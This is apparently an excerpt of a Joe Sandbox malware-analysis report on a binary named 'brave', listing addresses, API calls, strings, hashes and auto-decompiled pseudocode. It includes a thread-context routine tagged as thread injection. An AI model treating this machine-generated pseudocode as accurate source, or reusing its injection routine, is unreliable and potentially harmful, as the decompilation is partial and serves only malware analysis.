0x7ff6fc4d25f7
0x7ff6fc4d2602
0x7ff6fc4d260f
0x7ff6fc4d261a
0x7ff6fc4d2629
0x7ff6fc4d2636
0x7ff6fc4d2644
0x7ff6fc4d2646
0x7ff6fc4d2653
0x7ff6fc4d2660
0x7ff6fc4d2666
0x7ff6fc4d2674
0x7ff6fc4d267f
0x7ff6fc4d2685
0x7ff6fc4d268f
0x7ff6fc4d2698
0x7ff6fc4d26a1
0x7ff6fc4d26ac
0x7ff6fc4d26b2
0x7ff6fc4d26ba
0x7ff6fc4d26c0
0x7ff6fc4d26c2
0x7ff6fc4d26c8
0x7ff6fc4d26cc
0x7ff6fc4d26dc
0x7ff6fc4d26e8
0x7ff6fc4d26ef
0x7ff6fc4d26f8
0x7ff6fc4d26ff
0x7ff6fc4d2708
0x7ff6fc4d2712
0x7ff6fc4d2716
0x7ff6fc4d271b
0x7ff6fc4d2721
0x7ff6fc4d2726
0x7ff6fc4d2730
0x7ff6fc4d273a
0x7ff6fc4d273e
0x7ff6fc4d2743
0x7ff6fc4d2749
0x7ff6fc4d274e
0x7ff6fc4d2758
0x7ff6fc4d2760
0x7ff6fc4d2769
0x7ff6fc4d2772
0x7ff6fc4d2778
0x7ff6fc4d2785
0x7ff6fc4d278b
0x7ff6fc4d2792
0x7ff6fc4d2798
0x7ff6fc4d27a0
0x7ff6fc4d27a9
0x7ff6fc4d27b2
0x7ff6fc4d27b8
0x7ff6fc4d27c0
0x7ff6fc4d27cb
0x7ff6fc4d27d5
0x7ff6fc4d27db
0x7ff6fc4d27ec
0x7ff6fc4d27f5
0x7ff6fc4d27fb
0x7ff6fc4d2804
0x7ff6fc4d2808
0x7ff6fc4d2814
0x7ff6fc4d2818
0x7ff6fc4d2827
0x7ff6fc4d282b
0x7ff6fc4d2833
0x7ff6fc4d283e
0x7ff6fc4d284b
0x7ff6fc4d284f
0x7ff6fc4d2858
0x7ff6fc4d2865
0x7ff6fc4d286c
0x7ff6fc4d2870
0x7ff6fc4d287b
0x7ff6fc4d2888
0x7ff6fc4d288c
0x7ff6fc4d2895
0x7ff6fc4d28a2
0x7ff6fc4d28aa
0x7ff6fc4d28b5
0x7ff6fc4d28c2
0x7ff6fc4d28c7
0x7ff6fc4d28ce
0x7ff6fc4d28d9
0x7ff6fc4d28df
0x7ff6fc4d28e3
0x7ff6fc4d28ef
0x7ff6fc4d28fc
0x7ff6fc4d28ff
0x7ff6fc4d290f
0x7ff6fc4d2915
0x7ff6fc4d291a
0x7ff6fc4d2925
0x7ff6fc4d292b
0x7ff6fc4d2935
0x7ff6fc4d2939
0x7ff6fc4d2942
0x7ff6fc4d2948
0x7ff6fc4d2954
0x7ff6fc4d2958
0x7ff6fc4d2968
0x7ff6fc4d296e
0x7ff6fc4d297c
0x7ff6fc4d2985
0x7ff6fc4d298b
0x7ff6fc4d2997
0x7ff6fc4d29a5
0x7ff6fc4d29ab
0x7ff6fc4d29b9
0x7ff6fc4d29c2
0x7ff6fc4d29c8
0x7ff6fc4d29d4
0x7ff6fc4d29de
0x7ff6fc4d29e4
0x7ff6fc4d29f2
0x7ff6fc4d29fb
0x7ff6fc4d2a01
0x7ff6fc4d2a06
0x7ff6fc4d2a10
0x7ff6fc4d2a17
0x7ff6fc4d2a21
0x7ff6fc4d2a26
0x7ff6fc4d2a30
0x7ff6fc4d2a35
0x7ff6fc4d2a3a
0x7ff6fc4d2a40
0x7ff6fc4d2a4a
0x7ff6fc4d2a4e
0x7ff6fc4d2a57
0x7ff6fc4d2a5d
0x7ff6fc4d2a6a
0x7ff6fc4d2a70
0x7ff6fc4d2a77
0x7ff6fc4d2a7d
0x7ff6fc4d2a8b
0x7ff6fc4d2a94
0x7ff6fc4d2a9a
0x7ff6fc4d2aa7
0x7ff6fc4d2aac
0x7ff6fc4d2ab3
0x7ff6fc4d2ab9
0x7ff6fc4d2ac1
0x7ff6fc4d2aca
0x7ff6fc4d2ad3
0x7ff6fc4d2ad9
0x7ff6fc4d2ade
0x7ff6fc4d2ae6
0x7ff6fc4d2aec
0x7ff6fc4d2af2
0x7ff6fc4d2afc
0x7ff6fc4d2b03
0x7ff6fc4d2b14
0x7ff6fc4d2b27
0x7ff6fc4d2b32
0x7ff6fc4d2b3b
0x7ff6fc4d2b4e
0x7ff6fc4d2b72
0x7ff6fc4d2b77
0x7ff6fc4d2b7c
0x7ff6fc4d2b83
0x7ff6fc4d2b89
0x7ff6fc4d2b93
0x7ff6fc4d2b9d
0x7ff6fc4d2ba6
0x7ff6fc4d2ba8
0x7ff6fc4d2bb1
0x7ff6fc4d2bb5
0x7ff6fc4d2bbc
0x7ff6fc4d2bc2
0x7ff6fc4d2bca
0x7ff6fc4d2bd3
0x7ff6fc4d2bdc
0x7ff6fc4d2be2
0x7ff6fc4d2bef
0x7ff6fc4d2bf5
0x7ff6fc4d2bfc
0x7ff6fc4d2c02
0x7ff6fc4d2c0a
0x7ff6fc4d2c13
0x7ff6fc4d2c18
0x7ff6fc4d2c1e
0x7ff6fc4d2c23
0x7ff6fc4d2c2f
0x7ff6fc4d2c33
0x7ff6fc4d2c3f
0x7ff6fc4d2c46
0x7ff6fc4d2c52
0x7ff6fc4d2c56
0x7ff6fc4d2c62
0x7ff6fc4d2c69
0x7ff6fc4d2c73
0x7ff6fc4d2c80
0x7ff6fc4d2c87
0x7ff6fc4d2c8c
0x7ff6fc4d2c99
0x7ff6fc4d2c9e
0x7ff6fc4d2ca8
0x7ff6fc4d2cb2
0x7ff6fc4d2cb7
0x7ff6fc4d2cbf
0x7ff6fc4d2cc8
0x7ff6fc4d2ccd
0x7ff6fc4d2cd3
0x7ff6fc4d2cdc
0x7ff6fc4d2ce0
0x7ff6fc4d2cea
0x7ff6fc4d2cf0
0x7ff6fc4d2d01
0x7ff6fc4d2d0a
0x7ff6fc4d2d10
0x7ff6fc4d2d15
0x7ff6fc4d2d1a
0x7ff6fc4d2d23
0x7ff6fc4d2d2d
0x7ff6fc4d2d2f

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF6FC4D22CD
_ultoa.MSVCRT ref: 00007FF6FC4D22E0
OutputDebugStringA.KERNEL32 ref: 00007FF6FC4D2327
abort.MSVCRT ref: 00007FF6FC4D232D

Strings

Error cl, xrefs: 00007FF6FC4D2227
thread , xrefs: 00007FF6FC4D225E
eys for , xrefs: 00007FF6FC4D224F
eaning u, xrefs: 00007FF6FC4D2231
p spin_k, xrefs: 00007FF6FC4D2240

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CurrentDebugOutputStringThread_ultoaabort
String ID: Error cl$eaning u$eys for $p spin_k$thread
API String ID: 4191895893-3545615192
Opcode ID: 5e02075398575467d757778500d00e02b97ceec7ff2355a5d38304a33f0ea4e3
Instruction ID: 4e6e6c919c43ebcf87055674ef7b3575872d75b84fc67e7bc93b28f59b9c4083
Opcode Fuzzy Hash: 5e02075398575467d757778500d00e02b97ceec7ff2355a5d38304a33f0ea4e3
Instruction Fuzzy Hash: EB21327260CB8181E7748B25F05431AB6E2F785748F604134E2CD87BD8EF7DD9458B01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CF750 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF6FC4CF761
WaitForSingleObject.KERNEL32 ref: 00007FF6FC4CF772
FindAtomA.KERNEL32 ref: 00007FF6FC4CF7DF
ReleaseMutex.KERNEL32 ref: 00007FF6FC4CF7ED
CloseHandle.KERNEL32 ref: 00007FF6FC4CF7F6
CloseHandle.KERNEL32 ref: 00007FF6FC4CF817

Strings

failed to to lock cleanup mutex, xrefs: 00007FF6FC4CF808

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CloseHandleMutex$AtomCreateFindObjectReleaseSingleWait
String ID: failed to to lock cleanup mutex
API String ID: 3776795807-674698732
Opcode ID: 71f342f9f933a52b181f13a2de0319036eade7889627a245c740d797601e7c04
Instruction ID: 8de6656ea7ac566c593c667e48cef1e6da2f9419955b9a53e51b27f8c6977d51
Opcode Fuzzy Hash: 71f342f9f933a52b181f13a2de0319036eade7889627a245c740d797601e7c04
Instruction Fuzzy Hash: F5213A61E0AA0281FF54DBA1B85457862E0BF45B89B949435C92EC63E0FE3CAA95C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4E1DD0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6FC4E1DE1
GetProcAddress.KERNEL32 ref: 00007FF6FC4E1DF8
LoadLibraryW.KERNEL32 ref: 00007FF6FC4E1E1F
GetProcAddress.KERNEL32 ref: 00007FF6FC4E1E2F

Strings

advapi32.dll, xrefs: 00007FF6FC4E1E18
SystemFunction036, xrefs: 00007FF6FC4E1E25
rand_s, xrefs: 00007FF6FC4E1DEE
msvcrt.dll, xrefs: 00007FF6FC4E1DDA

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 4f62b90e336705d4da321a7fa2fb84c276bc2db0b258b9504fce3f42ee99db90
Instruction ID: 44af294dc48874d10877857ef4d41c42fa3c158ebed8f6b7608546d1cc56646e
Opcode Fuzzy Hash: 4f62b90e336705d4da321a7fa2fb84c276bc2db0b258b9504fce3f42ee99db90
Instruction Fuzzy Hash: 55F0AF20A4EA0B91EF05DB51FC548B922A4FF09795B980536C92DC63E8FE2CA654E740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4EDEF0 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 196COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6FC4EDF96
memcpy.MSVCRT ref: 00007FF6FC4EDFC1
memcpy.MSVCRT ref: 00007FF6FC4EE030
memcpy.MSVCRT ref: 00007FF6FC4EE06E
memcpy.MSVCRT ref: 00007FF6FC4EE0BF

Strings

basic_string::_M_replace, xrefs: 00007FF6FC4EE1DE

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_replace
API String ID: 3510742995-2323331477
Opcode ID: 83352c911b5e7a670d2c16afee725c69e32d097fda13c06022162402ec47247e
Instruction ID: 2201f3faa960491bc86e1beb2276c2d3ba74a55d864a33a85513b86444eef09f
Opcode Fuzzy Hash: 83352c911b5e7a670d2c16afee725c69e32d097fda13c06022162402ec47247e
Instruction Fuzzy Hash: 4C71F362A09A9691EB24DF11E0042BDA764FF40B98F864532EA2D877D4FE7CE681C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4EAE20 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6FC4EAEC5
memcpy.MSVCRT ref: 00007FF6FC4EAEF0
memcpy.MSVCRT ref: 00007FF6FC4EAF59
memcpy.MSVCRT ref: 00007FF6FC4EAF8D
memcpy.MSVCRT ref: 00007FF6FC4EAFD9

Strings

basic_string::_M_replace, xrefs: 00007FF6FC4EB0E1

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_replace
API String ID: 3510742995-2323331477
Opcode ID: 6e4ccbe5bf110cb7a92f3fabf76553f9e581279dc44f1e42f5d797bc024edc43
Instruction ID: 6f9590a6d3bfd977a00445adc13c89aa5361dc43788a296505d74294be63ac7a
Opcode Fuzzy Hash: 6e4ccbe5bf110cb7a92f3fabf76553f9e581279dc44f1e42f5d797bc024edc43
Instruction Fuzzy Hash: 5161E962E4D6D785EB21DB29A0042B86A54AF12BD8F4A4131DE7C97BC2FD2DE741C324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D5AE0 Relevance: 13.7, APIs: 9, Instructions: 182
threadinjectionsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00007FF67FF6FC4D5AE0(void* __ecx, void* __edi, void* __rax, void* __rcx) {
				char _v1272;
				signed int _t18;
				void* _t39;
				void* _t40;
				void* _t42;
				intOrPtr _t50;
				void* _t51;
				intOrPtr* _t52;

				_t39 = __rax;
				_t51 = __rcx;
				E00007FF67FF6FC4D3190(__edi, __rcx);
				_t42 = _t39;
				if (_t39 == 0) goto 0xfc4d5bce;
				_t40 =  *((intOrPtr*)(_t39 + 0x28)) - 1;
				if (_t40 - 0xfffffffd > 0) goto 0xfc4d5bce;
				if (GetHandleInformation(??, ??) == 0) goto 0xfc4d5bce;
				_t4 = _t42 + 0x38; // 0x38
				E00007FF67FF6FC4D04E0(_t4);
				E00007FF67FF6FC4D2D40(__ecx,  &_v1272);
				if (_t40 == 0) goto 0xfc4d5d20;
				_t18 =  *(_t42 + 0x40) & 0x000000ff;
				if (_t51 ==  *((intOrPtr*)(_t40 + 0x1d8))) goto 0xfc4d5ca0;
				if (( *(_t42 + 0x44) & 0x00000003) == 3) goto 0xfc4d5be8;
				if ((_t18 & 0x00000003) != 0) goto 0xfc4d5bc0;
				_t52 =  *0xfc776920; // 0x7ff6fc781400
				_t50 =  *_t52;
				 *(_t42 + 0x40) = _t18 & 0xfffffffc | 0x00000001;
				if (_t50 == 0) goto 0xfc4d5d50;
				if ( *((long long*)(_t50 + 0x18)) == 0) goto 0xfc4d5d30;
				asm("lock add dword [eax], 0x1");
				if ( *((intOrPtr*)(_t42 + 0x30)) == 0) goto 0xfc4d5ba8;
				SetEvent(??);
				E00007FF67FF6FC4D0800(_t4);
				return 0;
			}

0x7ff6fc4d5ae0
0x7ff6fc4d5aed
0x7ff6fc4d5af0
0x7ff6fc4d5af5
0x7ff6fc4d5afb
0x7ff6fc4d5b05
0x7ff6fc4d5b0d
0x7ff6fc4d5b23
0x7ff6fc4d5b29
0x7ff6fc4d5b30
0x7ff6fc4d5b35
0x7ff6fc4d5b3d
0x7ff6fc4d5b4a
0x7ff6fc4d5b51
0x7ff6fc4d5b60
0x7ff6fc4d5b68
0x7ff6fc4d5b6a
0x7ff6fc4d5b77
0x7ff6fc4d5b7a
0x7ff6fc4d5b80
0x7ff6fc4d5b8b
0x7ff6fc4d5b95
0x7ff6fc4d5ba0
0x7ff6fc4d5ba2
0x7ff6fc4d5bab
0x7ff6fc4d5bbf

APIs

GetHandleInformation.KERNEL32 ref: 00007FF6FC4D5B1B

Part of subcall function 00007FF6FC4D2D40: TlsGetValue.KERNEL32 ref: 00007FF6FC4D2DA0

SetEvent.KERNEL32 ref: 00007FF6FC4D5BA2
SuspendThread.KERNEL32 ref: 00007FF6FC4D5BFC
WaitForSingleObject.KERNEL32 ref: 00007FF6FC4D5C08
GetThreadContext.KERNEL32 ref: 00007FF6FC4D5C1C
SetThreadContext.KERNEL32 ref: 00007FF6FC4D5C38
SetEvent.KERNEL32 ref: 00007FF6FC4D5C7E
ResumeThread.KERNEL32 ref: 00007FF6FC4D5C90
SetEvent.KERNEL32 ref: 00007FF6FC4D5CE3

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: Thread$Event$Context$HandleInformationObjectResumeSingleSuspendValueWait
String ID:
API String ID: 2335333592-0
Opcode ID: c0454334065818ad910fe9271c82020997dc8f7e4f5c5ab4ac494b7568ff68ad
Instruction ID: e430a8eafb443d5a198f7123b42149f9c12ef9e0d4bc14a703ebf321808ced36
Opcode Fuzzy Hash: c0454334065818ad910fe9271c82020997dc8f7e4f5c5ab4ac494b7568ff68ad
Instruction Fuzzy Hash: D28171A2E0960281EB65AB21F4443792BA2FF45B9DF544131DE3C872D5FF2CEA84C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4E7980 Relevance: 13.7, APIs: 6, Strings: 3, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF67FF6FC4E7980(intOrPtr* __rcx, void* __rdx) {
				void* _t13;

				_t13 = __rdx;
				if (__rdx - 0xfffffff9 > 0) goto 0xfc4e79ef;
				E00007FF67FF6FC4E8580(__rcx, __rdx,  *((intOrPtr*)( *__rcx - 0x18)), __rdx);
				if (_t13 == 0) goto 0xfc4e79cc;
				if (_t13 == 1) goto 0xfc4e79e0;
				return memset(??, ??, ??);
			}

0x7ff6fc4e7995
0x7ff6fc4e79a5
0x7ff6fc4e79ac
0x7ff6fc4e79b4
0x7ff6fc4e79be
0x7ff6fc4e79d7

APIs

memset.MSVCRT ref: 00007FF6FC4E79C7
memcpy.MSVCRT ref: 00007FF6FC4E7BB9

Part of subcall function 00007FF6FC4E8580: memcpy.MSVCRT ref: 00007FF6FC4E85FB

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4E7CB9
basic_string::insert, xrefs: 00007FF6FC4E7CA3, 00007FF6FC4E7CB2
basic_string::_M_replace_aux, xrefs: 00007FF6FC4E79EF

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy$memset
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_replace_aux$basic_string::insert
API String ID: 438689982-1339558951
Opcode ID: 2aa7705d7efa051678438d68cb09cc562f26b0b831d3bb896a7316ff393a9a71
Instruction ID: c73951692b303554cd2011a5ba837edc7240949f68435bdd58c51ab9f04cf706
Opcode Fuzzy Hash: 2aa7705d7efa051678438d68cb09cc562f26b0b831d3bb896a7316ff393a9a71
Instruction Fuzzy Hash: 6F51C152E0969645EB51EB6AF8400B86A549F05BECF5A4532DE3CC77D2FD2CEB82C304

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D91C0 Relevance: 13.6, APIs: 9, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00007FF67FF6FC4D91C0(void* __esi, long long* __rcx, void* __rdx) {
				long long _v72;
				void* _t12;
				long long* _t28;
				intOrPtr _t47;

				_t28 = __rcx;
				if (__rcx == 0) goto 0xfc4d9380;
				_t47 =  *((intOrPtr*)(__rcx));
				r13d = 0x16;
				if (_t47 == 0) goto 0xfc4d92b4;
				if (_t47 == 0xffffffff) goto 0xfc4d92d0;
				_t1 = _t47 + 0x98; // 0x98
				_t3 = _t47 + 0x70; // 0x70
				_v72 = _t1;
				r8d = 0xffffffff;
				_t12 = E00007FF67FF6FC4D9120(0,  *((intOrPtr*)(_t47 + 0xa8)), _t3);
				r13d = _t12;
				if (_t12 != 0) goto 0xfc4d92b4;
				if (TryEnterCriticalSection(??) == 0) goto 0xfc4d93c0;
				if ( *((intOrPtr*)(_t47 + 8)) -  *((intOrPtr*)(_t47 + 0x10)) > 0) goto 0xfc4d9390;
				 *_t28 = 0;
				E00007FF67FF6FC4D8880(1,  *((intOrPtr*)(_t47 + 0xa8)), _t3, _t1);
				CloseHandle(??);
				CloseHandle(??);
				LeaveCriticalSection(??);
				DeleteCriticalSection(??);
				DeleteCriticalSection(??);
				DeleteCriticalSection(??);
				free(??);
				return r13d;
			}

0x7ff6fc4d91ce
0x7ff6fc4d91d4
0x7ff6fc4d91da
0x7ff6fc4d91dd
0x7ff6fc4d91e6
0x7ff6fc4d91f0
0x7ff6fc4d91f6
0x7ff6fc4d9206
0x7ff6fc4d920d
0x7ff6fc4d9215
0x7ff6fc4d921b
0x7ff6fc4d9220
0x7ff6fc4d9225
0x7ff6fc4d9243
0x7ff6fc4d9253
0x7ff6fc4d9259
0x7ff6fc4d926b
0x7ff6fc4d927f
0x7ff6fc4d9289
0x7ff6fc4d928e
0x7ff6fc4d929e
0x7ff6fc4d92a3
0x7ff6fc4d92aa
0x7ff6fc4d92af
0x7ff6fc4d92c5

APIs

Part of subcall function 00007FF6FC4D9120: EnterCriticalSection.KERNEL32(?,?,?,?,00007FF6FC4D9749), ref: 00007FF6FC4D9146
Part of subcall function 00007FF6FC4D9120: LeaveCriticalSection.KERNEL32(?,00007FF6FC4D9749,?,?,?,?,?,?,?,?,?,?,?,00007FF6FC781400,?), ref: 00007FF6FC4D916B

TryEnterCriticalSection.KERNEL32 ref: 00007FF6FC4D9233
CloseHandle.KERNEL32 ref: 00007FF6FC4D927F
CloseHandle.KERNEL32 ref: 00007FF6FC4D9289
LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4D928E
DeleteCriticalSection.KERNEL32 ref: 00007FF6FC4D929E
DeleteCriticalSection.KERNEL32 ref: 00007FF6FC4D92A3
DeleteCriticalSection.KERNEL32 ref: 00007FF6FC4D92AA
free.MSVCRT ref: 00007FF6FC4D92AF
LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4D93B1

Part of subcall function 00007FF6FC4D8880: EnterCriticalSection.KERNEL32 ref: 00007FF6FC4D8898
